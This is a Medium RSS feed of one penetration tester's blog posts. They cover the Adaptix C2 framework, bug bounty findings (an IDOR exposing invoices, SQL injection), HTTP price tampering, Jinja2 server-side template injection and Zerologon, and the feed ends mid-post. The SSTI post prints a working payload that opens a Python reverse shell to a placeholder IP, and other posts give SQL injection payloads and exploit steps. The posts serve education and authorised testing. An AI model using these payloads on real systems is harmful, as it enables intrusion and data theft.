<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by jb00gie on Medium]]></title>
        <description><![CDATA[Stories by jb00gie on Medium]]></description>
        <link>https://medium.com/@jayaye15?source=rss-46888e3d1790------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*jkmKMzqXSH8ZUgNUSNjWMg@2x.jpeg</url>
            <title>Stories by jb00gie on Medium</title>
            <link>https://medium.com/@jayaye15?source=rss-46888e3d1790------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 14:09:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jayaye15/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Adaptix C2 Review]]></title>
            <link>https://jayaye15.medium.com/adaptix-c2-review-061de1bfd709?source=rss-46888e3d1790------2</link>
            <guid isPermaLink="false">https://medium.com/p/061de1bfd709</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[jb00gie]]></dc:creator>
            <pubDate>Wed, 04 Jun 2025 17:43:58 GMT</pubDate>
            <atom:updated>2025-06-04T17:43:58.913Z</atom:updated>
            <content:encoded><![CDATA[<p>I recently finished <a href="https://www.amazon.com/Building-Second-Brain-Organize-Potential/dp/1982167386">Tiago Forte’s “Building a Second Brain”</a> book to improve personnel learning and note taking skills to enhance my current work flows for client engagements. One of the key ideas within the book is his “CODE” system, where the “E” stands for <em>Express</em> — sharing what you’ve learned to help solidify information into your mind. This blog is my way of doing so, walking others through the <a href="https://github.com/Adaptix-Framework/AdaptixC2">Adaptix-Framework</a>, a new open-source Command &amp; Control (C2) framework, that has gained traction. I’ll share some of my thoughts on its features, use cases, and upside I’ve seen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*R-m8i7R4-iNt3oXp" /><figcaption>C2 default picture</figcaption></figure><h3>Overview</h3><p>At a high a level, Adaptix is a flexible, multi-operator C2 framework. Its server component written in Golang, while the client-side Graphical User Interface (GUI) is built using C++ QT, allowing operators to connect to the team server from a Linux, MacOS, or Windows System.</p><p>Installation and setup are straightforward, especially when following the provided documentation from the Wiki. The GUI will feel instantly familar to operators who have previously used Cobalt Strike.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a17iL9ZB7lCOa0FIKSv0Mw.png" /><figcaption>Adaptix C2 Framework GUI</figcaption></figure><h3>Malleable Listeners</h3><p>When starting up the team server, Adaptix requires the use of a profile that is written in JSON. This defines how the server handles authentication, specifies extenders to load (supported listener types &amp; agents/beacons), and configuration of server responses and headers. While this is conceptually similar to a malleabe C2 profile, current documentation does not detail if a profile supports automation of listener creation and advanced control over fork &amp; run configurations.</p><p>However, when the operator is creating a HTTP/S listener, the option is given to control the URI, User-Agent, the Heartbeat Header (header used for beacon registration), HTTP Headers, Request/Response Headers, page to display for non-beaconing requests, and how the data is transmitted to the team server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*skFhl5dEU5A-3TEKkl-0AQ.png" /><figcaption>HTTP/S Listener Configuration</figcaption></figure><p>Below is what the traffic looks like as it is transmitted between a compromised host and the team server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*22PBjLjv_8QJiJd-SgMauQ.png" /><figcaption>C2 comms between the team server &amp; host</figcaption></figure><h3>Extensions/Extenders</h3><p>After brief use of the default Adaptix agent, you’ll notice quickly the functionality is more limited compared to the default agent of Cobalt Strike or Havoc. This is where Extensions, also referred to as Extenders, come into play. Operators can use Beacon Object Files (BOFs) to extend the functionality of the agent and execute further commands.</p><p>The official <a href="https://github.com/Adaptix-Framework/Extension-Kit">Adaptix-Framework repo</a> includes a default extension library with several BOFs that extend the Beacon’s functionality. These include cmd/powershell command execution, excute-assembly, ldapsearch, and more.</p><p>However, I didn’t find any injection-related BOFs within the repo. To address this, I ported over a custom version one of the 8 Pool Party techniques and successfully integrated it over to Adaptix. The idea to configuring it within the framework is conceptually the same to Cobalt Strike’s agressor and Havoc’s Python module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JQ3OYKVg5hdKdli71gKZDg.png" /><figcaption>Importing an Extender</figcaption></figure><p>To integrate the command into the Beacon, a JSON file must provided and uploaded into Adaptix. The format is as follows:</p><pre>{<br>  &quot;name&quot;: &quot;inject&quot;,<br>  &quot;description&quot;: &quot;Description of BOF&quot;,<br>  &quot;extensions&quot;: [<br>    {<br>      &quot;type&quot;: &quot;&quot;,<br>      &quot;agents&quot;: [&quot;what agents execute the BOF&quot;],<br>      &quot;command&quot;: &quot;console command name&quot;,<br>      &quot;description&quot;: &quot;description of the command&quot;,<br>      &quot;message&quot;: &quot;message displayed in the console after entering command&quot;,<br>      &quot;example&quot;: &quot;example of bof - inject 1234 C:\\Payloads\\beacon.x64.bin&quot;,<br>      &quot;args&quot;: [<br>        // JSON-array of arguments required by BOF to execute<br>        // Below is an example: inject 1234 C:\Payloads\beacon.x64.bin<br>        &quot;INT &lt;pid&gt;&quot;,<br>        &quot;FILE &lt;path&gt;&quot;<br>      ],<br>      // exec defines the template for forming the command to be executed in the console<br>      &quot;exec&quot;: &quot;execute bof $EXT_DIR()/inject.$ARCH().o $PACK_BOF(INT {pid}, BYTES {path})&quot;<br>    }<br>  ]<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nw5NoNH-yeNzlVWU9IIMtg.png" /><figcaption>Execution of the BOF</figcaption></figure><p>I strongly believe this framework has great upside and look forward to looking further into it. Hope you enjoyed the article! If you have any questions feel free to hit me up on X — @jbooogie15.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=061de1bfd709" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stories of a sporadic bug bounty hunter pt II]]></title>
            <link>https://jayaye15.medium.com/stories-of-a-sporadic-bug-bounty-hunter-pt-ii-6ca9970d8798?source=rss-46888e3d1790------2</link>
            <guid isPermaLink="false">https://medium.com/p/6ca9970d8798</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[jb00gie]]></dc:creator>
            <pubDate>Wed, 08 Jan 2025 17:19:45 GMT</pubDate>
            <atom:updated>2025-01-08T22:52:58.338Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Yo, welcome back, everyone, and Happy New Year!</strong></p><p>While reviewing my notes from some red team research to improve my day job playbook, I stumbled upon a few old bug bounty reports I submitted over the past year. With some free time on hand, I thought it would be worthwhile to share one of those high-severity findings from a private program.</p><p>To give you some context, the target organization is a global leader in men’s and women’s fashion accessories, operating in over 150 countries worldwide. This highlights that even major organizations with vast resources can still have critical and high-severity vulnerabilities in their systems.</p><h3>Identification</h3><p>To kick things off, I began my usual reconnaissance on the target and identified an intriguing subdomain. From there, I started manually probing the target for additional insights. One of my go-to techniques is leveraging the Wayback Machine to uncover previously used URIs that might still be relevant to the application. Using this method, I discovered an /invoice-download endpoint that included what appeared to be a token as a parameter, along with a redirection URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eF7s6U2t-QIsBSXS2cky0Q.png" /><figcaption>GAU output</figcaption></figure><p>To my surprise, navigating to the URL immediately worked, and I was able to retrieve a PDF invoice. The document contained sensitive personally identifiable information (PII), including the customer’s full name, address, items purchased, purchase order details, delivery information, and payment details. Below is a snippet of redacted information I identified.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*xdL8q2gXIM77z5hxzvtYUQ.png" /><figcaption>Redacted Invoice Information</figcaption></figure><h3>Raising Impact</h3><p>To increase the impact of my findings, I began exploring ways to enumerate additional customer invoices. Using Burp Suite, a web proxy tool, I analyzed the application’s behavior further and discovered JavaScript in the application’s response. This script contained a URL and an authorization token used to request and retrieve customer invoices.</p><p>Leveraging this information, I wrote a Python script to systematically test potential invoice numbers. The script allowed me to determine which invoice numbers were valid and retrieve their corresponding data, significantly broadening the scope of the vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s3EGlJF41CBgVDvAlxIyzA.png" /><figcaption>Identified JavaScript Containing Authorization Bearer Token</figcaption></figure><p>After analyzing the results of my Python script, I was able to retrieve and screenshot a few additional invoices as evidence. I promptly reported the vulnerability to the organization’s security team to ensure swift remediation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnHJh20TDTtT8LaNgIlqGA.png" /><figcaption>Just Another Invoice</figcaption></figure><h3>Conclusion</h3><p>Once I confirmed that I could retrieve over 20,000 invoices, I immediately reported the vulnerability to the organization’s security team. Thanks to their swift response, the issue was successfully mitigated.</p><p>I hope you enjoyed this blog post! I ended up having to create another X account because I was no longer able to login to my old one for some odd reason and X ended up flagging it. So if you enjoyed this post, feel free to follow my new account at — <a href="https://x.com/jbooogie15">@jbooogie15</a></p><p>Again, thanks for taking the time to read the post.</p><p>Until next time, cheers!</p><h3>Key Takeaways</h3><ul><li><strong>Stick to Your Methodology</strong>:<br>Everyone has their own approach to attacking and analyzing systems, and that’s perfectly fine. What works for me might not work for you, and vice versa. The key is to develop a methodology that suits your style, refine it over time, and trust the process.</li><li><strong>Manual Testing is King</strong>:<br>Automated tools can only take you so far. The ability to manually probe targets, read and interpret JavaScript, and understand what an application is designed to do gives you an advantage. By creating a threat model for the system, you can attack it more effectively and uncover more severe vulnerabilities.</li><li><strong>Vulnerabilities Exist Everywhere</strong>:<br>No matter how big or small the organization, vulnerabilities will always exist. It’s just a matter of when — and who — discovers them.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ca9970d8798" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stories of a sporadic bug bounty hunter]]></title>
            <link>https://jayaye15.medium.com/stories-of-a-sporadic-bug-bounty-hunter-a09cd32cf0a2?source=rss-46888e3d1790------2</link>
            <guid isPermaLink="false">https://medium.com/p/a09cd32cf0a2</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[jb00gie]]></dc:creator>
            <pubDate>Sat, 28 Sep 2024 01:45:34 GMT</pubDate>
            <atom:updated>2024-09-28T01:45:34.268Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bug Bounty Adventures</h3><h3>Introduction</h3><p>It&#39;s been a while since I’ve written a post about some of my penetration testing adventures and thought I’d begin to share a few of my experiences / bugs I’ve identified through the last year of sporadic bug bounty hunting.</p><p>To start, I prefer performing network testing off the jump, however there are some nights where I’ll become bored and tired of looking into Active Directory and malware development, and randomly select a program that has a bug bounty program and just go against some live targets with some whiskey poured up and music going. I know this sounds crazy, but using this method of madness, allowed me to choose a program off of Intigriti’s client list and landed me in the top 50 leaderboard!</p><p>But if you’ve made it this far, welcome to a tad bit of my methodology as I identified a SQL Injection on a live target. . .</p><h3>Identification</h3><p>To begin, the target program is a huge university I have ties with and had a huge in-scope target range. Keeping this in mind, this gave me the idea that various types of application could be exposed ranging from teacher/student applications, student services, dorm/building maintenance, athletics, the whole 9. But after performing some initial recon, I stumbled across an application that just gave me the vibe to tell myself “yo check this out” . So I did.</p><p>Typically when I begin analyzing a web application, I’ll walk through the application as a typical end user would. That means clicking all available links, inserting malicious characters into input boxes, and attempting to get an understanding of what the application is expected to be used as.</p><p>In this particular instance, I was able to identify an error message that was presented to the user as an alert box. Typically, web applications will present this type of alert box when a user has met the application’s input validations expectation, shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*y_1oRRQSdWWOJuojO5WR-g.png" /></figure><p>However, this is when its important to dig a little deeper and analyze the underlying HTTP response using a tool such as Burp Suite or OWASP Zap. I utilized the web proxy to intercept the HTTP request prior to sending it to the application server and injecting the malicious character and identifying the application revealing a 500 HTTP response code with a Microsoft SQL Server error message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*prwwMiEqKTMgTCd1Z3ov7A.png" /></figure><p>Seeing this type of response should have any type of security researcher eyes light up like a CHRISTMAS TREE!</p><h3>Exploitation</h3><p>To perform the exploitation, I ended up performing a simple logic check and passing true or false statements to the application and analyzing the output of the application. For the first instance, I ended up passing the &#39;or 1=&#39;1 statement with the assumption the underlying application was utilizing the following SQL query:</p><pre>SELECT id, requestor_name FROM requests WHERE id = &#39; &quot; + userInput + &quot; &#39;;</pre><p>Since we control the userInput variable and successfully abide the SQL syntax, the application should function normally as a end user supplied the correct information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*6-rZrbNa69iD4cpH0JT2Sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*pi37hJmqNARDoZXt1EZCEQ.png" /></figure><p>Subsequently, I passed a false statement and successfully returned nothing with the statement no longer being true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*rsWMfWOZRmpXOCFOVb_PgQ.png" /></figure><p>Finally, to confirm the SQL injection existed, I ended up performing a sleep command using the WAITFOR DELAY syntax payload. Typically, I’ll insert a random variable that is not a multiple of 5 to prove I’m able to control the underlying SQL query being performed. In this instance, I used 8.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*y-FHj0g5scw4GSPYS14fkQ.png" /></figure><h3>Timeline</h3><p>Immediately after confirming the SQL injection existed, I immediately reached out to the concern parties and went through some of my old connections to get this in-front of the required personnel.</p><p>This was just a random Friday night where I ended up doing some security research and ended up finding a pretty cool bug, and spend another free Friday night writing up this blog.</p><p>Hope you guys enjoy walking through my attack methodlogy and getting a feel for what goes through my mind as I attack applications in my day to day or during free time. As always, if you guys have any questions or concerns, feel free to give me a holla!</p><p>Cheers,</p><p>jb00gie</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a09cd32cf0a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tampering With HTTP Params]]></title>
            <link>https://jayaye15.medium.com/tampering-with-http-params-16adbe101353?source=rss-46888e3d1790------2</link>
            <guid isPermaLink="false">https://medium.com/p/16adbe101353</guid>
            <dc:creator><![CDATA[jb00gie]]></dc:creator>
            <pubDate>Sat, 27 Mar 2021 14:48:27 GMT</pubDate>
            <atom:updated>2021-03-27T14:48:27.927Z</atom:updated>
            <content:encoded><![CDATA[<p>In a recent penetration testing engagement I happened to stumble across a interesting vulnerability that allowed for an end user to manipulate sales prices of products for a industrial supplier. This was a very interesting finding especially since the web application happened to be securely locked down besides this vulnerability. After identifying the vulnerability, we were able to change the price of a product and successfully purchase the item for the tampered price.</p><p>I thought I’d share the methodology used to find this vulnerability and how to successfully exploit this vulnerability. To keep the client anonymous, I will be utilizing PortSwigger’s labs to imitate the vulnerability in the wild.</p><p>Please, only use this for educational purposes and do not attempt to use this for nefarious reasons!!</p><h3>Discovering The Vulnerability</h3><p>This external assessment was going pretty rough because midway through our allowed time we did not find anything interesting. Personally, whenever I am performing any sort of recon on a web application I like to have all my requests performed be logged using Burp’s Logger++. I decided to go through my logs and see if there was anything interesting that may have not been visible to a normal user. To my surprise, there was a hidden gem!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*Aks5SWoHB00fozyS8h_PGA.png" /><figcaption>Discovering the price of the item is being passed as a parameter with a POST method.</figcaption></figure><p>The above HTTP requests displays that when adding the product to our cart, the quantity amount and the price of the product are being passed via parameters. This means that a user has the ability to manipulate the values of these parameters using a proxy such as <em>Burp Suite</em>. Before sending this request to <em>Burp Suite’s Repeater</em> functionality, let’s display our cart now with the original price of productId 2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*ny0QjpwdCZiSaOgyDfRdMw.png" /><figcaption>Our cart with the intended price for the item BBQ Suitcase.</figcaption></figure><p>We can now send this request to <em>Burp’s Repeater</em> tab by pressing the buttons <em>“Control (CTL) + r”</em> or by turning your proxy intercept on and adding the item back to your cart again. You will be brought to a screen displaying the POST method of adding the item to your cart. Let’s attempt to change the price of the item to an arbitrary value and see if the applications accepts the new value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*GiYswGULHYPI2q-6QPBfxw.png" /><figcaption>Utilizing Burp’s Repeater to change the price of the item to $3.49.</figcaption></figure><p>After sending the new price of the BBQ Suitcase, we get a 302 response meaning that the page is attempting to redirect us to another page. After hitting the “Follow redirection” we end upback at the BBQ Suitcase page where we would normally hit the button that would add the item to the cart.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*40JKC5Ygxzox6AXBxcFJ8w.png" /><figcaption>Successfully getting a 200 response back.</figcaption></figure><p>We can now go into the web application and now see the contents of our cart and see that the price that we entered previously is now being accepted. ;)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*_dZjIwCDSbcePiOpfhHUCg.png" /><figcaption>The price of the BBQ Suitcase has now been changed to $3.49.</figcaption></figure><p>Finally, we can submit the order and see that our price has correctly been charged regardless of the BBQ Suitcase original price. We can verify this, by seeing that our store credit, which is $100 in this given example, has been changed to $96.51 since we changed the price of the item to $3.49 (100–3.49).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*l_DNuAEwn8SnnGQCjQyI9Q.png" /><figcaption>Checkout was SUCCESSFUL.</figcaption></figure><p>As shown above, user input should never be trusted!! If user input needs to be taken for whatever reason, the input needs to be checked to make sure that nothing can go wrong.</p><p>Our client however was able to identify the price change due to their internal process of having a sales person contact the customer a couple of days before the items arrive ensuring that all their business needs were met. Overall, we managed to help the client mitigate this business flaw and discover a pretty cool bug!</p><p>HAPPY HUNTING FOLKS!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16adbe101353" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Jinja2 — Server Side Template Injection (SSTI)]]></title>
            <link>https://jayaye15.medium.com/jinja2-server-side-template-injection-ssti-9e209a6bbdf6?source=rss-46888e3d1790------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e209a6bbdf6</guid>
            <dc:creator><![CDATA[jb00gie]]></dc:creator>
            <pubDate>Tue, 20 Oct 2020 20:08:42 GMT</pubDate>
            <atom:updated>2020-10-20T20:08:42.407Z</atom:updated>
            <content:encoded><![CDATA[<h3>Jinja2 — Server Side Template Injection (SSTI)</h3><p>Server-Side Template Injection is a vulnerability commonly that is confused with Cross-Site Scripting (XSS) or just missed entirely. The key difference between SSTI and XSS is that SSTI can be leverage to directly attack the web server and allow for remote code execution, where XSS could potentially only be stored on the web page itself and attack the website’s visitors.</p><p>SSTI is applicable due to webpages embedding user input into templates without any input sanitation or through a site attempting to offer better functionality leaving the page vulnerable to SSTI.</p><p>There is a methodology for discovering SSTI and is extremley useful for discovering the sort of technology that is being used to help exploiting the vulnerable page.</p><p>SSTI may be a possible attack vector whenever you see a page reflecting your input back onto the page. In this proof of concept, I have discovered a web page that accepts user input, but reflects the input on another page hosted on the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*js-DtZChlVuY1HvDiTaHEg.png" /><figcaption>Creating Input Into “New Message Category”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T8bR57gv7wOnnZXnx4568A.png" /><figcaption>Confirmation That The Post Was Created</figcaption></figure><p>Before creating this post, I ran through some testing of this application with inserting HTML and JavaScript tags but go no execution or easy win. One of the first things I do however is run a dirbuster and try to find anything out of the ordinary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*dodUEUdhvPDvWSHs7tWAQA.png" /><figcaption>Utilizing dirsearch.py</figcaption></figure><p>With the results of my dirsearch, I find a hidden directory named “archive” but when I visited the page I find that it is blank. However, looking at the page source, something you should ALWAYS DO, I discover that my “Title Header” that I wrote in my message appears with in &lt;item&gt;&lt;title&gt; tags. This here is an important discovery and should get your Server-Side Template Injection senses tingling.. lol</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*8GuMzu05JwqlwRlC02hwmA.png" /><figcaption>Title From Message Being Reflected In Page Source</figcaption></figure><p>Now, we must see if we have code execution occurring. Following a link from Portswigger, the creators of Burp, I inject a mathematical expression into the Title Header to see if the web page will perform the calculation for us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_n6Wx6zzDzhguFZ9-lxVSQ.png" /><figcaption>Updating Title To Mathematical Expression</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/386/1*KCr2O6NjfKiWapWFoqLm6g.png" /><figcaption>Code Execution Seems To Fail</figcaption></figure><p>Going back and looking at the page source, we see that the code execution fails. However, there is a graph shown below, that is provided by Portswigger that allows us to determine what technology is being used. So we ran the first test “{5*5}” and will move onto the failure test using double “{{}}” rather than “{}”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*3LER4YDFXYErQmE85TtoQQ.png" /><figcaption>Portswigger Detection Methodology</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V0xOIsR869XxEhw2SduGxQ.png" /><figcaption>Adding Double “{{}}” To Continue Testing</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*L_pwJm8p4TeFDhHlqQgqYQ.png" /><figcaption>CODE EXECUTION!!</figcaption></figure><p>Now visiting the page source again, we discover the web server has executed the expression and given us 25. The last test is to determine if we are working with either Jinja2 or Twig vs. Unknown technology. The way this is determined is by adding ‘’. To be successful, the number inside of the quotes will be reflected the number of times the number in front of “*”. The following is a successful implementation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wi9eB9jZlRueTObBS0wQGg.png" /><figcaption>Last Code Execution Test To Determine If Jinja2 or Twig</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/353/1*Gf6vdPinfSM2HwqnZjUREw.png" /><figcaption>Successful Code Execution</figcaption></figure><p>The test passes and the page reflects five 5s. We now know the site is vulnerable to SSTI and the last thing to do is exploit it in a way we can get a remote code execution or possibly a reverse shell.</p><p>As ETHICAL hackers, we want to prove to our clients that if their site’s are vulnerable we are able to either disclose data or obtain a shell on their site. With SSTI both are possible. Below I will show how you are capable of obtaining a shell from SSTI.</p><p>Since I was able to discover that Jinja2 is probably the framework being utilized for this page, Python becomes crucial due to Python is used for Jinja2. Below is is the command after modifying from reading a file to giving a reverse shell from PayloadsAllTheThings SSTI page.</p><pre>{% for x in ().__class__.__base__.__subclasses__() %}{% if &quot;warning&quot; in x.__name__ %}{{x()._module.__builtins__[&#39;__import__&#39;](&#39;os&#39;).popen(&quot;python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&quot;x.x.x.x\&quot;,PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&quot;/bin/sh\&quot;, \&quot;-i\&quot;]);&#39;&quot;)}}{%endif%}{% endfor %}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c6gHh_tyoEGPxDOvL60kPA.png" /><figcaption>Applying Reverse Shell Payload</figcaption></figure><p>Instead of visiting the page source, I just refreshed the actual page which still gave back a blank screen. However, going to my netcat listener I started up, I see that I did get a call back and indeed had a reverse shell. WIN!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*ZyuF8ny_pFJGDXKe6SKxsA.png" /><figcaption>PWN!</figcaption></figure><p>This was something I found really fun and something I will definetly add to my arsenal. I recently began doing bug bountying, so hopefully this is will be something that I’m able to discover in the wild.</p><p>Here are some of the sources I used on being able to solve this CTF challenge and obtain access to the machine.</p><h3>References</h3><ul><li><a href="https://portswigger.net/research/server-side-template-injection">Server-Side Template Injection</a></li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2">PayloadsAllTheThings/Server Side Template Injection at master · swisskyrepo/PayloadsAllTheThings</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e209a6bbdf6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zerologon Exploit — CVE-2020–1472]]></title>
            <link>https://jayaye15.medium.com/zerologon-exploit-cve-2020-1472-e70ca7cd610c?source=rss-46888e3d1790------2</link>
            <guid isPermaLink="false">https://medium.com/p/e70ca7cd610c</guid>
            <dc:creator><![CDATA[jb00gie]]></dc:creator>
            <pubDate>Wed, 07 Oct 2020 14:36:57 GMT</pubDate>
            <atom:updated>2020-10-07T14:36:57.228Z</atom:updated>
            <content:encoded><![CDATA[<h3>Zerologon Exploit — CVE-2020–1472</h3><p>If you are one of few who are missing out on staying up to date with current vulnerabilities, than you may have not heard of the Zerologon vulnerability. This is a very interesting vulnerability due to an attacker being able to instantly become Domain Admin on a network with literally a tap of a few keys. The only requirement for the attacker is that they must have a foothold on the internal network.</p><p>According to a blog post from Secura, a security firm who offers multiple security services, explains that the vulnerability exists due to a flaw in a cryptographic authentication scheme used by the Netlogon Remote Protocol, which can be used to update computer passwords. This flaw allows for the attacker to impersonate the Domain Controller itself and sets the password to a known value, blank in this case, so that the attacker can now login to the domain controller and become Domain Admin on the network.</p><h3>Proof of Concept</h3><p>The following are some prerequisites in order to perform the exploit on a vulnerable Domain Controller.</p><p><a href="https://github.com/SecureAuthCorp/impacket.git">Impacket</a></p><p><a href="https://github.com/risksense/zerologon.git">Zerologon Exploit Repo</a></p><p>Vulnerable Domain Controller VM (I’m running a 2019 unpatched Server)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*D54iABE1ZskMJWmp_j6h2w.png" /><figcaption>Download Zerologon exploit repo</figcaption></figure><p>If you already have Impacket installed on your VM, than you more than likely will need to follow these steps to install a more updated version to run this exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*Pi_olIhfTwwdM_08AXqg4A.png" /><figcaption>We see that the script shows the target is vulnerable, but need an updated version of Impacket</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EC5DV1xsnKdB_GYVMNixfg.png" /><figcaption>Purging current version of Impacket</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*cj4z6_C-f_oXouT-qXK1Qg.png" /><figcaption>Downloading newer version of Impacket</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G-kdkcH92hbumZ_MDpx2bw.png" /><figcaption>Installing Impacket</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*McbgIbOPBeZ9ZIOevPPggw.png" /><figcaption>Running exploit and setting an empty password on Domain Controller</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0foT_wq8UfNjPkuLvJqrbA.png" /><figcaption>Running secretsdump.py from Impacket to dump out hashes from Domain Controller</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jW3JHuQfQ7wCibTItQPy_w.png" /><figcaption>Passing Administrator hash to Domain Controller</figcaption></figure><p>As you can see, in a matter of minutes we were able to become Domain Admin on a domain controller easily.</p><h3>Mitigation</h3><p>Microsoft has released and advised for users to update their domain Controllers with any patches after August 11, 2020. This patch will block Domain Controllers from using unsecure RPC communications. I’ve also seen some blog posts mention that Microsoft plans to release another path that will completely mitigate this vulnerability in Quarter 1 of 2021.</p><h3>Sources</h3><p><a href="https://www.bleepingcomputer.com/news/security/microsoft-clarifies-patch-confusion-for-windows-zerologon-flaw/">Microsoft clarifies patch confusion for Windows Zerologon flaw</a></p><p><a href="https://www.secura.com/blog/zero-logon">https://www.secura.com/blog/zero-logon</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e70ca7cd610c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Journey To OSCP]]></title>
            <link>https://jayaye15.medium.com/journey-to-oscp-3f1e574539eb?source=rss-46888e3d1790------2</link>
            <guid isPermaLink="false">https://medium.com/p/3f1e574539eb</guid>
            <dc:creator><![CDATA[jb00gie]]></dc:creator>
            <pubDate>Sat, 22 Aug 2020 20:30:28 GMT</pubDate>
            <atom:updated>2021-03-27T14:52:43.449Z</atom:updated>
            <content:encoded><![CDATA[<p>Its been a couple of days since I received the email from Offensive Security saying I successfully completed their Penetration Testing with Kali Linux Certification Exam. It was a crazy journey that would have not been possible without the love and support of my loved ones.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*63yvqZ2W5heGCXaQy-ELJw.png" /></figure><h3>Background</h3><p>Just to give a little background about myself, I recently graduated from The University of Texas at San Antonio with a BA in Cyber Security. However, the curriculum I took did not offer many classes for the offensive side. My last semester, I did take a “Cyber Attacks” class but it was just a taste of what the field had to offer and that’s where I fell in love. Other than that, I had no real exposure in college to penetration testing, especially because I started my college years playing basketball for a small NAIA school in Kansas and did not have a variety of class selections due to my athletic schedule.</p><h3>Purchasing The Materials</h3><p>I decided to make the jump and invest in myself by spending the large amount for the training materials OffSec offers. I did my 